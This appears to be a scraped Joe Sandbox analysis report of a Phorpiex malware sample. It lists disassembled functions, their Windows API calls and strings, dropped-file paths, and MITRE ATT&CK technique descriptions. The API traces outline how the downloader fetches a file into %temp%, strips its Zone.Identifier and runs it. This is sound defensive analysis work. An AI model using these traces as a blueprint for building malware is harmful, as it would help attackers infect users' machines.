rand.MSVCR90 ref: 003D135D
wsprintfW.USER32 ref: 003D1384
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36,00000000,00000000,00000000,00000000), ref: 003D139A
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 003D13C9
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 003D13F8
InternetReadFile.WININET(00000000,?,00000103,?), ref: 003D142B
WriteFile.KERNEL32(000000FF,?,00000000,?,00000000), ref: 003D145C
CloseHandle.KERNEL32(000000FF), ref: 003D146B
wsprintfW.USER32 ref: 003D1484
DeleteFileW.KERNEL32(?), ref: 003D1494
CloseHandle.KERNEL32(000000FF), ref: 003D14B0
InternetCloseHandle.WININET(00000000), ref: 003D14BD
InternetCloseHandle.WININET(00000000), ref: 003D14CA

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36, xrefs: 003D1395
%s\%d%d.exe, xrefs: 003D1378
%temp%, xrefs: 003D131B
%s:Zone.Identifier, xrefs: 003D1478

Memory Dump Source

Source File: 0000000A.00000002.3841735259.00000000003D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 003D0000, based on PE: true

Associated: 0000000A.00000002.3841648329.00000000003D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.3841766770.00000000003D4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.3841794210.00000000003D5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_3d0000_2958729589.jbxd

Similarity

API ID: Internet$CloseFileHandle$Openrandwsprintf$CountCreateDeleteEnvironmentExpandReadStringsTickWritembstowcssrandstrlen
String ID: %s:Zone.Identifier$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
API String ID: 770025858-111153409
Opcode ID: 352e1a405b6d36ca1677057be56224c09b6728855b460e8fb0b1ca6edcc065ed
Instruction ID: f7419ba606f69b74e3a232f89eabe2c78c42b9c882f36e76e80afe391d97fd64
Opcode Fuzzy Hash: 352e1a405b6d36ca1677057be56224c09b6728855b460e8fb0b1ca6edcc065ed
Instruction Fuzzy Hash: A741A9B2D02314BBE721EB60EC4AFDA737DAB88701F04459AF209A6191DB749F84CF51

Function 003D14E0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 80
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCR90 ref: 003D1501
GetModuleHandleW.KERNEL32(ntdll.dll), ref: 003D1518
GetProcAddress.KERNEL32(00000000,RtlGetVersion), ref: 003D153D
memset.MSVCR90 ref: 003D1595
GetVersionExA.KERNEL32(0000009C), ref: 003D15AE
memset.MSVCR90 ref: 003D15F5
GetVersionExA.KERNEL32(0000009C), ref: 003D160E

Strings

RtlGetVersion, xrefs: 003D1531
ntdll.dll, xrefs: 003D1513

Memory Dump Source

Source File: 0000000A.00000002.3841735259.00000000003D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 003D0000, based on PE: true

Associated: 0000000A.00000002.3841648329.00000000003D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.3841766770.00000000003D4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.3841794210.00000000003D5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_3d0000_2958729589.jbxd

Similarity

API ID: memset$Version$AddressHandleModuleProc
String ID: RtlGetVersion$ntdll.dll
API String ID: 3060919973-1489217083
Opcode ID: 1de6171384e7d50bda61018b377e1e132db42d590fa26c52bcfc451bb1842b38
Instruction ID: 41ef8922d63a9b71e1535fdf28d8ffca38c27bbc1b6054615c9b82387899b250
Opcode Fuzzy Hash: 1de6171384e7d50bda61018b377e1e132db42d590fa26c52bcfc451bb1842b38
Instruction Fuzzy Hash: DD318472C4522CABDF36CB20EC4ABE9B775AB15700F0845DAE50965281D775CF84CF91

Function 003D1000 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 60
sleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCR90 ref: 003D100E
memset.MSVCR90 ref: 003D101E
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 003D1057
Sleep.KERNEL32(000003E8), ref: 003D1067
ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 003D1082
Sleep.KERNEL32(000003E8), ref: 003D109C

Strings

D, xrefs: 003D1026
, xrefs: 003D1091
open, xrefs: 003D107B

Memory Dump Source

Source File: 0000000A.00000002.3841735259.00000000003D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 003D0000, based on PE: true

Associated: 0000000A.00000002.3841648329.00000000003D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.3841766770.00000000003D4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.3841794210.00000000003D5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_3d0000_2958729589.jbxd

Similarity

API ID: Sleepmemset$CreateExecuteProcessShell
String ID: $D$open
API String ID: 3787208655-2182757814
Opcode ID: a250bd34cfcfec9ae7435778a574ae6fe827746a1b39aacf1328f1817ebd7221
Instruction ID: 39553f5bdb9de22323c0d173cb423b59f393c4f86153d4569017344bc47f73ea
Opcode Fuzzy Hash: a250bd34cfcfec9ae7435778a574ae6fe827746a1b39aacf1328f1817ebd7221
Instruction Fuzzy Hash: CC1133B6E84308BBEB11DF90EC46FDE7778AB14B01F100116FA096E2C0D6B1AE44C766

Function 003D1230 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLogicalDrives.KERNEL32 ref: 003D1236
RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 003D1284
RegQueryValueExW.ADVAPI32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 003D12B1
RegCloseKey.ADVAPI32(?), ref: 003D12CE

Strings

NoDrives, xrefs: 003D12A8
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, xrefs: 003D1277

Memory Dump Source

Source File: 0000000A.00000002.3841735259.00000000003D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 003D0000, based on PE: true

Associated: 0000000A.00000002.3841648329.00000000003D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.3841766770.00000000003D4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.3841794210.00000000003D5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_3d0000_2958729589.jbxd

Similarity

API ID: CloseDrivesLogicalOpenQueryValue
String ID: NoDrives$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
API String ID: 2666887985-3471754645
Opcode ID: 6c068af36bea7033a1b628a24b413aeee7874281f53a3c0361630a1894315b58
Instruction ID: 129c020dc857abc58c5949ab6e32bc05a2ac793384a6b36e2b8de28159feb7fd
Opcode Fuzzy Hash: 6c068af36bea7033a1b628a24b413aeee7874281f53a3c0361630a1894315b58
Instruction Fuzzy Hash: 4A11DA71E4120AEBDB11CFD1E949BEEBBB8FB48704F10850AE511A7280D7796A45CF91

Function 003D11B0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDriveTypeW.KERNEL32(003D118F), ref: 003D11BD
QueryDosDeviceW.KERNEL32(003D118F,?,00000208), ref: 003D11FC
StrCmpNW.SHLWAPI(?,\??\,00000004), ref: 003D1214

Strings

\??\, xrefs: 003D1208

Memory Dump Source

Source File: 0000000A.00000002.3841735259.00000000003D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 003D0000, based on PE: true

Associated: 0000000A.00000002.3841648329.00000000003D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.3841766770.00000000003D4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.3841794210.00000000003D5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_3d0000_2958729589.jbxd

Similarity

API ID: DeviceDriveQueryType
String ID: \??\
API String ID: 1681518211-3047946824
Opcode ID: b15503822e8487f33c359a527a3b54d859e8aecdbe66ad780d02856a2f8bf1e6
Instruction ID: e60a431d7cd7de6cf46e2bdd95657dc17018034152b87a9d8e216f13038e3aec
Opcode Fuzzy Hash: b15503822e8487f33c359a527a3b54d859e8aecdbe66ad780d02856a2f8bf1e6
Instruction Fuzzy Hash: 4601ECB594021CABCB21DFA5EC497DDB7B8AB05705F0084AAEA05A6240D6319F85CF95

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Phorpiex

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Phishing

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\1[1]

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\1[1]

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\1[2]

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\1[1]

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\2[1]

C:\Users\user\AppData\Local\Temp\158752420.exe

C:\Users\user\AppData\Local\Temp\193855420.exe

C:\Users\user\AppData\Local\Temp\21548511.exe

Windows Analysis Report
file.exe

Function 0040ECC0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22
stringCOMMON

Function 00407500 Relevance: 289.5, APIs: 108, Strings: 57, Instructions: 784
sleepfilesynchronizationCOMMON

Function 0040EF10 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 60
sleepprocessCOMMON

Function 00406650 Relevance: 77.3, APIs: 34, Strings: 10, Instructions: 300
fileCOMMON

Function 004080B0 Relevance: 62.3, APIs: 34, Strings: 1, Instructions: 1037
COMMON

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre